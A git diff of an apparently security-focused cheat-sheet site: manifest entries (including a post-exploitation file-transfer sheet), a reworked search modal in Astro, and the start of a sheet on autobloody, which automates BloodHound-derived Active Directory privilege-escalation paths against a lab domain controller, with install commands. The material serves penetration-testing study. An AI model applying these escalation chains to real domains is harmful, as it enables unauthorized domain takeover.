+      "description": "Move files to/from targets on Windows/Linux: HTTP, SMB, certutil, base64, nc and living-off-the-land.",
+      "tools": [
+        "certutil",
+        "wget",
+        "nc",
+        "smbserver"
+      ],
+      "tags": [
+        "post-exploitation",
+        "file-transfer",
+        "windows",
+        "linux"
+      ],
+      "difficulty": "intermediate",
+      "action": "rewrite_from_pdf",
+      "note": "PDF-only essential technique with no markdown equivalent; high-value convert."
+    },
+    {
+      "source": "vault",
+      "rel": "Linux/Find Command.md",
+      "category": "linux-it",
+      "slug": "linux-find",
+      "title": "Linux find Command",
+      "description": "find recipes: by name/type/time/perm/size, SUID hunting, exec actions and pruning noisy paths.",
+      "tools": [
+        "find"
+      ],
+      "tags": [
+        "linux",
+        "cli",
+        "search"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "Canonical find sheet; dedupes the broader File & Directory Search sheet."
+    },
+    {
+      "source": "repo",
+      "rel": "Linux/chmod-cheatsheet.pdf",
+      "category": "linux-it",
+      "slug": "chmod",
+      "title": "chmod & File Permissions",
+      "description": "Linux permission model: symbolic/octal chmod, chown, umask, SUID/SGID/sticky bits explained.",
+      "tools": [
+        "chmod",
+        "chown",
+        "umask"
+      ],
+      "tags": [
+        "linux",
+        "permissions",
+        "cli"
+      ],
+      "difficulty": "beginner",
+      "action": "rewrite_from_pdf",
+      "note": "PDF-only IT staple named in the brief; no markdown equivalent."
+    },
+    {
+      "source": "vault",
+      "rel": "macOS/macOS Terminal Tweaks Cheat Sheet.md",
+      "category": "linux-it",
+      "slug": "macos-terminal",
+      "title": "macOS Terminal Tweaks",
+      "description": "Hidden macOS terminal/defaults tweaks and productivity commands for the CLI.",
+      "tools": [
+        "defaults",
+        "zsh"
+      ],
+      "tags": [
+        "macos",
+        "terminal",
+        "productivity"
+      ],
+      "difficulty": "beginner",
+      "action": "port",
+      "note": "IT staple; dedupes the identical root-level copy (uses the macOS/ path)."
+    },
+    {
+      "source": "vault",
+      "rel": "Misc/tmux.md",
+      "category": "linux-it",
+      "slug": "tmux",
+      "title": "tmux",
+      "description": "tmux sessions, windows, panes, copy mode and config bindings for terminal multiplexing.",
+      "tools": [
+        "tmux"
+      ],
+      "tags": [
+        "linux",
+        "terminal",
+        "productivity"
+      ],
+      "difficulty": "beginner",
+      "action": "port",
+      "note": "IT staple named in the brief."
+    },
+    {
+      "source": "vault",
+      "rel": "Git/git-cheatsheet.md",
+      "category": "git-workflow",
+      "slug": "git",
+      "title": "Git",
+      "description": "Everyday Git: staging, commits, remotes, log/diff, stash, merge/rebase and recovery.",
+      "tools": [
+        "git"
+      ],
+      "tags": [
+        "git",
+        "version-control",
+        "workflow"
+      ],
+      "difficulty": "beginner",
+      "action": "port",
+      "note": "Most comprehensive Git sheet (31KB/46code); core Git reference."
+    },
+    {
+      "source": "vault",
+      "rel": "Git/Branches Expanded.md",
+      "category": "git-workflow",
+      "slug": "git-branching",
+      "title": "Git Branching",
+      "description": "Branch workflows: create/switch, track remotes, merge vs rebase, and moving edits between branches.",
+      "tools": [
+        "git"
+      ],
+      "tags": [
+        "git",
+        "branching",
+        "workflow"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "Best-structured branching deep-dive (9 H2); dedupes Branches.md and the Vault-management branch guide."
+    },
+    {
+      "source": "vault",
+      "rel": "Git/Resetting.md",
+      "category": "git-workflow",
+      "slug": "git-reset",
+      "title": "Git Reset & Undo",
+      "description": "Undo work safely: reset soft/mixed/hard, restore, revert, reflog recovery and stash rescue.",
+      "tools": [
+        "git"
+      ],
+      "tags": [
+        "git",
+        "undo",
+        "recovery"
+      ],
+      "difficulty": "intermediate",
+      "action": "port",
+      "note": "Distinct undo/recovery focus not covered by the main Git sheet."
+    }
+  ]
+}
diff --git a/live-root.png b/live-root.png
Binary files differ.
diff --git a/src/components/SearchModal.astro b/src/components/SearchModal.astro
@@ -8,13 +8,20 @@ import Icon from './Icon.astro';
       <input
         type="search" class="search-input" data-search-input
         placeholder="Search sheets, tools, techniques…" autocomplete="off"
-        spellcheck="false" aria-label="Search query" />
+        spellcheck="false" aria-label="Search query"
+        role="combobox" aria-expanded="false" aria-controls="search-results"
+        aria-autocomplete="list" />
       <button class="icon-btn" data-search-close type="button" aria-label="Close search">
         <Icon name="close" />
       </button>
     </div>
-    <div class="search-results" data-search-results>
-      <p class="search-hint mono">Type to search the vault. <kbd>Esc</kbd> to close.</p>
+    <p class="search-status mono" data-search-status hidden></p>
+    <div
+      class="search-results" data-search-results id="search-results"
+      aria-label="Search results">
+      <p class="search-hint mono">
+        Type to search the vault. <kbd>↑</kbd><kbd>↓</kbd> move, <kbd>↡</kbd> open, <kbd>Esc</kbd> close.
+      </p>
     </div>
   </div>
 </div>
@@ -42,41 +49,195 @@ import Icon from './Icon.astro';
     color: var(--fg); font-size: 1.02rem; font-family: var(--font-mono);
   }
   .search-input::placeholder { color: var(--fg-faint); }
-  .search-results { max-height: min(56vh, 520px); overflow-y: auto; }
-  .search-hint {
+  /* The count bar. The site labels everything in 10px mono; a result set
+     is no different, and knowing 8 of 47 are shown is the difference
+     between "that's all there is" and "keep typing". */
+  .search-status {
+    display: flex; justify-content: space-between; gap: 1rem;
+    padding: 0.5rem 0.9rem;
+    border-bottom: 1px solid var(--rule);
+    color: var(--fg-faint); font-size: var(--step-micro);
+    letter-spacing: var(--track-micro); text-transform: uppercase;
+  }
+  .search-status[hidden] { display: none; }
+
+  .search-results { max-height: min(56vh, 520px); overflow-y: auto; overscroll-behavior: contain; }
+</style>
+
+<!-- Everything below draws nodes this component writes with `innerHTML` at
+     runtime β€” the result rows and the hint that replaces them.
+
+     Astro scopes a component's CSS by rewriting each selector to carry a
+     `[data-astro-cid-…]` attribute and stamping that attribute onto the
+     markup *at build time*. A node created later by script never receives
+     it, so a scoped rule silently does not apply: no error, no warning, and
+     a results list that renders as raw stacked text with no padding, no
+     rules and no wipe. That is what was wrong with this panel β€” the styles
+     had simply never reached it.
+
+     `is:global` is the escape hatch, and every rule is confined to
+     `.search-overlay` so nothing here can reach the page behind it. -->
+<style is:global>
+  .search-overlay .search-hint {
     color: var(--fg-faint); font-size: var(--step-micro);
     letter-spacing: var(--track-micro); text-transform: uppercase;
-    padding: 1rem 0.9rem;
+    padding: 1rem 0.9rem; line-height: 2;
   }
-  .search-hint kbd { border: 1px solid var(--rule); padding: 0.06rem 0.3rem; }
-  /* Results are index rows, like every other list on the site β€” the ink
-     wipe is the same object, at the same timing. */
-  .s-result {
-    display: block; padding: 0.75rem 0.9rem;
+  .search-overlay .search-hint kbd {
+    border: 1px solid var(--rule); padding: 0.06rem 0.3rem;
+    font-family: var(--font-mono); margin-right: 0.15rem;
+  }
+  .search-overlay .search-hint code {
+    font-family: var(--font-mono); text-transform: none;
+  }
+
+  /* A hit is a record, not a card.
+
+     The index rows on every other page of this site are one line β€” rank,
+     kind, title, chevron β€” because a list is read by its shape and a row
+     that grows to fit its content destroys the shape. This panel used to
+     stack three free-height lines per hit, so eight results ran from 100px
+     to 204px tall and only three and a half of them fitted the box. Fixing
+     the height is what makes the list scannable; everything else here is
+     the same furniture the vault indexes are built from. */
+  .search-overlay .s-result {
+    display: grid;
+    grid-template-columns: 26px minmax(0, 1fr) 14px;
+    align-items: center;
+    column-gap: 0.7rem;
+    row-gap: 0.1rem;
+    padding: 0.62rem 0.9rem;
     border-bottom: 1px solid var(--rule);
+    color: var(--fg);
     background-image: linear-gradient(90deg, var(--fg) 0 50%, transparent 50% 100%);
     background-size: 200% 100%;
     background-position: 100% 0;
     background-repeat: no-repeat;
     transition: background-position 380ms var(--ease-in), color 1ms;
   }
-  .s-result:hover, .s-result:focus-visible { background-position: 0 0; color: var(--base); }
-  .s-cat {
+  @media (min-width: 560px) {
+    .search-overlay .s-result { grid-template-columns: 26px 54px minmax(0, 1fr) 14px; }
+  }
+  /* Hover and keyboard selection are the same state deliberately: the
+     pointer and the arrow keys are moving one cursor, not two. */
+  .search-overlay .s-result:hover,
+  .search-overlay .s-result[data-sel] { background-position: 0 0; color: var(--base); }
+  .search-overlay .s-result:focus-visible { outline: 2px solid var(--accent); outline-offset: -2px; }
+
+  /* Rank, and the keyboard address β€” ↑/↓ move this number, ↡ opens it. */
+  .search-overlay .s-n {
+    grid-column: 1; grid-row: 1;
+    font-family: var(--font-mono); font-size: var(--step-micro);
+    letter-spacing: var(--track-micro); color: var(--fg-faint);
+  }
+  /* The domain's own accent, from taxonomy.ts β€” the same legend the
+     masthead and the domain plates key back to. */
+  .search-overlay .s-kind {
+    grid-column: 2; grid-row: 2;
     font-family: var(--font-mono); font-size: var(--step-micro);
-    letter-spacing: var(--track-micro); text-transform: uppercase; color: var(--accent);
+    letter-spacing: var(--track-micro); text-transform: uppercase;
+    color: var(--acc, var(--accent));
+    white-space: nowrap; overflow: hidden; text-overflow: ellipsis;
+  }
+  @media (min-width: 560px) { .search-overlay .s-kind { grid-row: 1; } }
+  .search-overlay .s-title {
+    grid-column: 2; grid-row: 1;
+    font-family: var(--font-display); font-weight: 600;
+    font-size: 0.98rem; letter-spacing: -0.015em;
+    min-width: 0; overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
+  }
+  @media (min-width: 560px) { .search-overlay .s-title { grid-column: 3; } }
+  .search-overlay .s-snip {
+    grid-column: 2; grid-row: 3;
+    color: var(--fg-dim); font-size: 0.8rem; line-height: 1.35;
+    min-width: 0; overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
+  }
+  @media (min-width: 560px) { .search-overlay .s-snip { grid-column: 3; grid-row: 2; } }
+  .search-overlay .s-go {
+    grid-column: 3; grid-row: 1;
+    color: var(--fg-faint);
+    transition: transform 250ms var(--ease);
+  }
+  @media (min-width: 560px) { .search-overlay .s-go { grid-column: 4; } }
+  .search-overlay .s-go svg { width: 14px; height: 14px; display: block; }
+
+  /* On the wipe's ink the accents sit near 1:1, so every coloured cell
+     drops its hue and takes the page ground at the /78 the record rows
+     use. Mixed from `--base` rather than written as the cream literal the
+     rest of the site uses for this: the wipe fills with `--fg`, which is
+     dark ink on the dawn theme but near-white on the night one, so a fixed
+     cream is correct in one mode and invisible in the other. */
+  .search-overlay .s-result:hover .s-n, .search-overlay .s-result[data-sel] .s-n,
+  .search-overlay .s-result:hover .s-kind, .search-overlay .s-result[data-sel] .s-kind,
+  .search-overlay .s-result:hover .s-snip, .search-overlay .s-result[data-sel] .s-snip,
+  .search-overlay .s-result:hover .s-go, .search-overlay .s-result[data-sel] .s-go {
+    color: color-mix(in oklab, var(--base) 78%, transparent);
+  }
+  .search-overlay .s-result:hover .s-go,
+  .search-overlay .s-result[data-sel] .s-go { transform: translateX(3px); }
+
+  /* The match itself has to survive the wipe, so it gets a second
+     treatment on ink rather than keeping a gold wash that goes muddy. */
+  .search-overlay .s-snip mark {
+    background: color-mix(in oklab, var(--gold) 34%, transparent);
+    color: inherit; padding: 0 2px;
+  }
+  .search-overlay .s-result:hover .s-snip mark,
+  .search-overlay .s-result[data-sel] .s-snip mark {
+    background: color-mix(in oklab, var(--base) 22%, transparent);
+    color: var(--base);
+  }
+
+  @media (prefers-reduced-motion: reduce) {
+    .search-overlay .s-result, .search-overlay .s-go { transition: none; }
   }
-  .s-result:hover .s-cat, .s-result:focus-visible .s-cat { color: rgba(250, 244, 237, 0.78); }
-  .s-title { font-family: var(--font-display); font-weight: 600; font-size: 1.02rem; letter-spacing: -0.015em; margin-top: 0.2rem; }
-  .s-excerpt { color: var(--fg-dim); font-size: 0.85rem; margin-top: 0.25rem; line-height: 1.45; }
-  .s-result:hover .s-excerpt, .s-result:focus-visible .s-excerpt { color: rgba(250, 244, 237, 0.78); }
-  .s-excerpt :global(mark) { background: color-mix(in oklab, var(--gold) 34%, transparent); color: inherit; padding: 0 2px; }
 </style>
 
 <script>
+  import { CATEGORIES } from '../lib/taxonomy';
+
   const BASE = import.meta.env.BASE_URL;
-  const overlay = document.querySelector<HTMLElement>('[data-search-overlay]');
-  const input = document.querySelector<HTMLInputElement>('[data-search-input]');
-  const results = document.querySelector<HTMLElement>('[data-search-results]');
+
+  /* Looked up per call, never held.
+
+     `ClientRouter` swaps the whole body on an internal navigation, so the
+     modal on screen after the first click-through is a different element
+     from the one that was in the document when this module ran. Module
+     scripts are executed once per session β€” Astro replaces an already-run
+     inline script with an empty `data:` URI on swap β€” so a reference
+     captured up here is never refreshed, and every later `open()` was
+     unhiding a detached node while locking scroll on the live body:
+     nothing appeared and the page could no longer be scrolled.
+
+     Re-querying at the point of use costs one `querySelector` per
+     interaction and cannot go stale. */
+  const overlayEl = () => document.querySelector<HTMLElement>('[data-search-overlay]');
+  const inputEl = () => document.querySelector<HTMLInputElement>('[data-search-input]');
+  const resultsEl = () => document.querySelector<HTMLElement>('[data-search-results]');
+
+  const statusEl = () => document.querySelector<HTMLElement>('[data-search-status]');
+
+  const HINT =
+    '<p class="search-hint mono">Type to search the vault. ' +
+    '<kbd>↑</kbd><kbd>↓</kbd> move, <kbd>↡</kbd> open, <kbd>Esc</kbd> close.</p>';
+
+  /* Pagefind reports the category as its display title, which is all a
+     human needs but not what the row is drawn from: the vault's rows carry
+     a short module tag in the domain's own accent. Both come from
+     `taxonomy.ts` rather than a second copy of the table here, so adding a
+     domain there gives search the right badge and the right colour with no
+     further edit. Payloads is not a domain in that list β€” it is the mirror
+     β€” and takes the iris the masthead already gives it. */
+  const KIND = new Map<string, { tag: string; accent: string }>([
+    ...CATEGORIES.map((c) => [c.title, { tag: c.tag, accent: c.accent }] as const),
+    ['Payloads', { tag: 'PAY', accent: 'iris' }],
+  ]);
+  const kindOf = (category?: string) =>
+    (category && KIND.get(category)) || { tag: category || 'SHEET', accent: 'foam' };
+
+  /* The index itself does survive navigation, and should β€” it is a few
+     hundred KB of WASM and index shards, and re-fetching it per page would
+     undo the point of a client-side router. */
   let pagefind: any = null;
   let loading: Promise<any> | null = null;
 
@@ -114,18 +275,21 @@ import Icon from './Icon.astro';
   }
 
   function open() {
+    const overlay = overlayEl();
     if (!overlay) return;
     overlay.hidden = false;
     document.body.style.overflow = 'hidden';
     loadPagefind();
-    setTimeout(() => input?.focus(), 20);
+    setTimeout(() => inputEl()?.focus(), 20);
   }
   function close() {
+    const overlay = overlayEl();
+    document.body.style.overflow = '';
     if (!overlay) return;
     overlay.hidden = true;
-    document.body.style.overflow = '';
+    const input = inputEl();
     if (input) input.value = '';
-    if (results) results.innerHTML = '';
+    write(HINT);
   }
 
   function esc(s: string) {
@@ -133,40 +297,252 @@ import Icon from './Icon.astro';
       ({ '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;' }[c] as string));
   }
 
+  const CHEVRON =
+    '<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.7" ' +
+    'stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="m9 6 6 6-6 6"/></svg>';
+
+  /* ---- Excerpt repair -----------------------------------------------------
+     Pagefind excerpts are the page's own prose with `<mark>` around the hit,
+     and the vault's prose is not prose: it is command listings, tables and
+     emoji-headed sections. Untouched, a snippet arrives looking like
+
+       "# ── Set SPN on target ──────────────────── Set-DomainObject -Identity"
+
+     which is not a sentence, is not a preview, and is what pushed one row to
+     204px while its neighbour sat at 100px. No amount of styling fixes text
+     that is mostly rule characters, so the string is repaired before it is
+     ever measured.
+
+     Everything below is tag-aware: `<mark>` is the whole point of an excerpt
+     and must survive, so nothing here counts or cuts raw HTML positions. */
+
+  /** Drop the first `n` *visible* characters, stepping over tags. */
+  function dropLeading(html: string, n: number) {
+    let out = '';
+    let i = 0;
+    let dropped = 0;
+    while (i < html.length) {
+      if (html[i] === '<') {
+        const end = html.indexOf('>', i);
+        if (end === -1) break;
+        out += html.slice(i, end + 1);
+        i = end + 1;
+        continue;
+      }
+      if (dropped < n) dropped++;
+      else out += html[i];
+      i++;
+    }
+    return out;
+  }
+
+  const plain = (html: string) => html.replace(/<[^>]*>/g, '');
+
+  function tidyExcerpt(raw: string, title: string) {
+    let html = String(raw || '');
+
+    // Pagefind only ever emits <mark>; anything else reaching the panel is
+    // content that escaped indexing, and it is not this component's job to
+    // render it.
+    html = html.replace(/<(?!\/?mark\s*\/?>)[^>]*>/gi, '');
+
+    // Pictographs, box drawing, block elements, the long ASCII rules that
+    // head almost every command section in this vault, and the `:warning:`
+    // style shortcodes the PayloadsAllTheThings mirror carries in from
+    // GitHub-flavoured markdown. The shortcode pattern is deliberately
+    // anchored to whitespace on both sides so it cannot bite a `key:value:`
+    // pair out of a command line.
+    html = html
+      .replace(/[\u{1F000}-\u{1FAFF}\u{2600}-\u{27BF}\u{2B00}-\u{2BFF}\u{FE0F}\u{20E3}]/gu, ' ')
+      .replace(/[─-β–Ÿ]+/g, ' ')
+      .replace(/(^|\s):[a-z][a-z0-9_+-]{2,}:(?=\s|$)/gi, '$1')
+      .replace(/([=_*~#Β·β€’+\-])\1{2,}/g, ' ')
+      .replace(/\s+/g, ' ')
+      .trim();
+
+    // The heading is nearly always the first thing in the body text, so the
+    // snippet opens by repeating the title directly above it. Say it once.
+    const t = title.trim().toLowerCase();
+    if (t && plain(html).toLowerCase().startsWith(t)) html = dropLeading(html, t.length);
+
+    /* Tidying the head of the string can leave the punctuation that used to
+       separate it from the title, and can empty a <mark> whose text was
+       part of the title β€” a marked-up heading is the common case, not the
+       exception. Both have to go, and each can uncover the other. */
+    for (let pass = 0; pass < 3; pass++) {
+      const trimmed = html
+        .replace(/<mark[^>]*>\s*<\/mark>/gi, '')
+        .replace(/^[\s.,:;|—–-]+/, '');
+      if (trimmed === html) break;
+      html = trimmed;
+    }
+
+    /* A one-line snippet is only worth showing if the match is on that line.
+       Pagefind usually centres the excerpt on the hit, but not always β€” when
+       the match starts late, wind the snippet forward so it lands early
+       enough to survive the ellipsis. */
+    const markTag = html.search(/<mark/i);
+    if (markTag > 0) {
+      const visibleBefore = plain(html.slice(0, markTag)).length;
+      if (visibleBefore > 46) html = '… ' + dropLeading(html, visibleBefore - 24);
+    }
+
+    return html;
+  }
+
+  /* Writes go through here for the same reason reads do: a search started
+     on one page can resolve after a navigation has replaced the results
+     panel, and the answer belongs in whichever panel is on screen now. */
+  function write(html: string, status?: string) {
+    const results = resultsEl();
+    if (results) results.innerHTML = html;
+    const bar = statusEl();
+    if (bar) {
+      bar.hidden = !status;
+      bar.innerHTML = status || '';
+    }
+    /* A listbox may only contain options, so the container is only a
+       listbox while it holds results β€” the hint and the empty state are
+       prose and are announced as prose. */
+    if (results) {
+      if (status) results.setAttribute('role', 'listbox');
+      else results.removeAttribute('role');
+    }
+    const input = inputEl();
+    input?.setAttribute('aria-expanded', String(!!status));
+    select(status ? 0 : -1);
+  }
+
+  /* ---- The cursor ---------------------------------------------------------
+     One cursor, moved by either device: `[data-sel]` takes the same ink wipe
+     hovering does, so the pointer and the arrow keys are visibly driving the
+     same thing rather than lighting two different rows. The top hit is
+     selected on arrival, which is what makes ↡ worth pressing. */
+  let sel = -1;
+  function rows() {
+    return Array.from(document.querySelectorAll<HTMLAnchorElement>('.s-result'));
+  }
+  function select(i: number) {
+    const list = rows();
+    list.forEach((r) => r.removeAttribute('data-sel'));
+    sel = list.length ? Math.max(0, Math.min(i, list.length - 1)) : -1;
+    const input = inputEl();
+    if (sel < 0) { input?.removeAttribute('aria-activedescendant'); return; }
+    const row = list[sel];
+    row.setAttribute('data-sel', '');
+    row.setAttribute('aria-selected', 'true');
+    list.forEach((r, n) => { if (n !== sel) r.setAttribute('aria-selected', 'false'); });
+    input?.setAttribute('aria-activedescendant', row.id);
+    row.scrollIntoView({ block: 'nearest' });
+  }
+
+  const RESULT_LIMIT = 8;
+
   let seq = 0;
   async function run(q: string) {
-    if (!results) return;
     const mine = ++seq;
-    if (!q.trim()) { results.innerHTML = '<p class="search-hint mono">Type to search the vault. <kbd>Esc</kbd> to close.</p>'; return; }
+    if (!q.trim()) { write(HINT); return; }
     await loadPagefind();
+    if (mine !== seq) return;
     /* The index is generated by Pagefind after `astro build`, so it exists
        in `dist/` and never under `astro dev`. This is the expected state on
        the dev server β€” `npm run preview` serves the built site with it. */
-    if (pagefind === false) { results.innerHTML = '<p class="search-hint mono">Search index not loaded. It is built by <code>npm run build</code>; use <code>npm run preview</code> to search locally.</p>'; return; }
+    if (pagefind === false) { write('<p class="search-hint mono">Search index not loaded. It is built by <code>npm run build</code>; use <code>npm run preview</code> to search locally.</p>'); return; }
     const search = await pagefind.search(q);
     if (mine !== seq) return;
-    const data = await Promise.all(search.results.slice(0, 8).map((r: any) => r.data()));
+    const total = search.results.length;
+    const data = await Promise.all(
+      search.results.slice(0, RESULT_LIMIT).map((r: any) => r.data()),
+    );
     if (mine !== seq) return;
-    if (!data.length) { results.innerHTML = `<p class="search-hint mono">No matches for β€œ${esc(q)}”.</p>`; return; }
-    results.innerHTML = data.map((d: any) => {
-      const cat = d.meta?.category ? `<span class="s-cat">${esc(d.meta.category)}</span>` : '';
-      const title = esc(d.meta?.title || d.url);
-      return `<a class="s-result" href="${esc(d.url)}">${cat}<div class="s-title">${title}</div><div class="s-excerpt">${d.excerpt || ''}</div></a>`;
+    if (!data.length) {
+      write(`<p class="search-hint mono">No matches for β€œ${esc(q)}”. Try a tool name, a technique, or a CVE.</p>`);
+      return;
+    }
+
+    const html = data.map((d: any, i: number) => {
+      const title = String(d.meta?.title || d.url);
+      const kind = kindOf(d.meta?.category);
+      const snip = tidyExcerpt(d.excerpt, title);
+      return (
+        `<a class="s-result" id="s-opt-${i}" role="option" aria-selected="false"` +
+        ` href="${esc(d.url)}" style="--acc: var(--${kind.accent});">` +
+        `<span class="s-n">${String(i + 1).padStart(2, '0')}</span>` +
+        `<span class="s-kind">${esc(kind.tag)}</span>` +
+        `<span class="s-title">${esc(title)}</span>` +
+        `<span class="s-snip">${snip}</span>` +
+        `<span class="s-go">${CHEVRON}</span>` +
+        `</a>`
+      );
     }).join('');
+
+    /* Say how much of the result set is on screen. "8 results" reads as the
+       whole answer when it is the first page of forty. */
+    const shown = data.length;
+    const status =
+      `<span>${total === shown ? `${total} match${total === 1 ? '' : 'es'}` : `${shown} of ${total} matches`}</span>` +
+      `<span>↑↓ ↡</span>`;
+    write(html, status);
   }
 
+  /* Delegated rather than bound to the field, so that it keeps working
+     against whichever field is in the document β€” `input` bubbles. */
   let t: any;
-  input?.addEventListener('input', () => { clearTimeout(t); t = setTimeout(() => run(input.value), 120); });
+  document.addEventListener('input', (e) => {
+    const el = e.target as HTMLElement;
+    if (!el?.matches?.('[data-search-input]')) return;
+    const value = (el as HTMLInputElement).value;
+    clearTimeout(t);
+    t = setTimeout(() => run(value), 120);
+  });
 
   document.addEventListener('click', (e) => {
     const el = e.target as HTMLElement;
     if (el.closest('[data-search-open]')) { e.preventDefault(); open(); }
     else if (el.closest('[data-search-close]')) close();
-    else if (el === overlay) close();
+    else if (el === overlayEl()) close();
   });
   document.addEventListener('keydown', (e) => {
-    if (e.key === 'Escape' && overlay && !overlay.hidden) close();
+    const overlay = overlayEl();
+    const isOpen = !!overlay && !overlay.hidden;
+
+    /* Arrow keys drive the list while the field keeps the caret, which is
+       the whole reason a palette is quicker than a results page. Enter
+       follows the selection rather than submitting the form. */
+    if (isOpen && (e.key === 'ArrowDown' || e.key === 'ArrowUp' || e.key === 'Home' || e.key === 'End')) {
+      const list = rows();
+      if (!list.length) return;
+      e.preventDefault();
+      if (e.key === 'ArrowDown') select(sel < 0 ? 0 : (sel + 1) % list.length);
+      else if (e.key === 'ArrowUp') select(sel <= 0 ? list.length - 1 : sel - 1);
+      else if (e.key === 'Home') select(0);
+      else select(list.length - 1);
+      return;
+    }
+    if (isOpen && e.key === 'Enter') {
+      const row = rows()[sel];
+      if (row) { e.preventDefault(); row.click(); }
+      return;
+    }
+
+    if (e.key === 'Escape' && isOpen) close();
     else if (e.key === '/' && overlay?.hidden && !/^(INPUT|TEXTAREA|SELECT)$/.test((e.target as HTMLElement)?.tagName)) { e.preventDefault(); open(); }
     else if ((e.key === 'k' || e.key === 'K') && (e.metaKey || e.ctrlKey)) { e.preventDefault(); overlay?.hidden ? open() : close(); }
   });
+
+  /* Pointer and keyboard share one cursor, so moving the mouse over a row
+     moves the selection to it rather than lighting a second one. */
+  document.addEventListener('pointermove', (e) => {
+    const row = (e.target as HTMLElement)?.closest?.('.s-result');
+    if (!row) return;
+    const i = rows().indexOf(row as HTMLAnchorElement);
+    if (i >= 0 && i !== sel) select(i);
+  });
+
+  /* Following a result navigates client-side, which swaps the modal away
+     without anything calling `close()`. The scroll lock lives on <body>,
+     so release it on the way out rather than leaving the next page
+     unscrollable. */
+  document.addEventListener('astro:before-swap', () => { document.body.style.overflow = ''; });
+  document.addEventListener('astro:after-swap', () => { document.body.style.overflow = ''; });
 </script>
diff --git a/src/content/sheets/active-directory/autobloody.md b/src/content/sheets/active-directory/autobloody.md
@@ -0,0 +1,345 @@
+---
+title: "Autobloody"
+description: "autobloody automates BloodyAD privilege-escalation paths from a BloodHound/Neo4j graph, chaining the ACL edges end-to-end to reach a target principal."
+category: active-directory
+subcategory: "Tooling & Recon"
+tags: [active-directory, ldap, acl-abuse]
+tools: [autobloody, BloodyAD, BloodHound, Neo4j]
+difficulty: intermediate
+updated: "2026-08-11"
+source: "vault:ActiveDirectory/Autobloody.md"
+---
+
+# Autobloody
+
+**autobloody** automates the privilege-escalation path BloodHound already draws for you. Point it at an owned start principal and a target, and it computes the cheapest route through the graph in Neo4j, then walks that route edge-by-edge, firing each ACL write through **bloodyAD** until the target is yours β€” one command instead of a dozen manual `bloodyAD` calls. Reach for it when BloodHound shows a clean multi-hop chain of *writable* edges you want executed end-to-end; drive bloodyAD by hand (see the BloodyAD sheet) when you want a single edge, need to cherry-pick or pause between steps, or the path crosses a non-writable edge (`AdminTo`, `HasSession`, `CanRDP`) that autobloody cannot traverse.
+
+> **Example lab (swap these constants) β€”** `--host dc01.sequel.htb` / `10.10.11.51` (DC) Β· `-d sequel.htb` (domain) Β· `-u ryan` Β· `-p 'Passw0rd!'` (you) Β· Neo4j at `bolt://localhost:7687` with `-du neo4j` `-dp 'neo4jpass'` Β· BloodHound nodes are UPPERCASE `NAME@DOMAIN`, e.g. start `RYAN@SEQUEL.HTB` β†’ target `DOMAIN ADMINS@SEQUEL.HTB`. Every command is written in full.
+
+## 1. How It Works
+
+autobloody runs in two stages from a single invocation: it plans over the graph, then executes over LDAP.
+
+```text
+   owned start (-ds)                                 target (-dt)
+   RYAN@SEQUEL.HTB                          DOMAIN ADMINS@SEQUEL.HTB
+        β”‚                                              β–²
+        β–Ό                                              β”‚
+ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
+ β”‚ STAGE 1 β€” Neo4j pathfinding (Dijkstra; GDS if installed)       β”‚
+ β”‚   weighted shortest path over WRITABLE ACL edges only          β”‚
+ β”‚   β†’ ordered edge list, e.g. AddSelf β†’ GenericAll β†’ MemberOf    β”‚
+ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
+        β”‚  ordered edge list
+        β–Ό
+ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
+ β”‚ STAGE 2 β€” bloodyAD execution (LDAP/LDAPS to --host DC)         β”‚
+ β”‚   prompt to confirm  β†’  walk each edge, write it               β”‚
+ β”‚   (skip the prompt with -y)                                    β”‚
+ β”‚   on completion: auto-rollback the reversible writes           β”‚
+ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
+```
+
+Stage 1 never touches the DC β€” it is pure Neo4j math over the BloodHound graph, so the source and target you pass are Neo4j node labels, not live AD objects. Stage 2 authenticates to the DC as your start principal and performs the real writes.
+
+> **Note β€” Automatic rollback is partial.** On completion autobloody reverts the writes it can β€” group adds, DACL grants, shadow-credential writes β€” but per the README it "clean[s] what is reversible (everything except `ForcePasswordChange` and `setOwner`)." A password reset and an ownership takeover are left in place. There is **no** `--no-rollback` flag in v1.1.0; the only user-facing control is `-y`/`--yes`, which skips the pre-apply confirmation prompt (rollback still runs afterwards).
+
+## 2. Install
+
+autobloody is on PyPI (v1.1.0, Oct 2025). It pulls in `bloodyAD` and the `neo4j` driver automatically.
+
+**pipx (isolates deps):**
+
+```bash
+pipx install autobloody
+```
+
+**pip:**
+
+```bash
+pip install autobloody
+```
+
+**From source:**
+
+```bash
+git clone --depth 1 https://github.com/CravateRouge/autobloody && cd autobloody && pip install .
+```
+
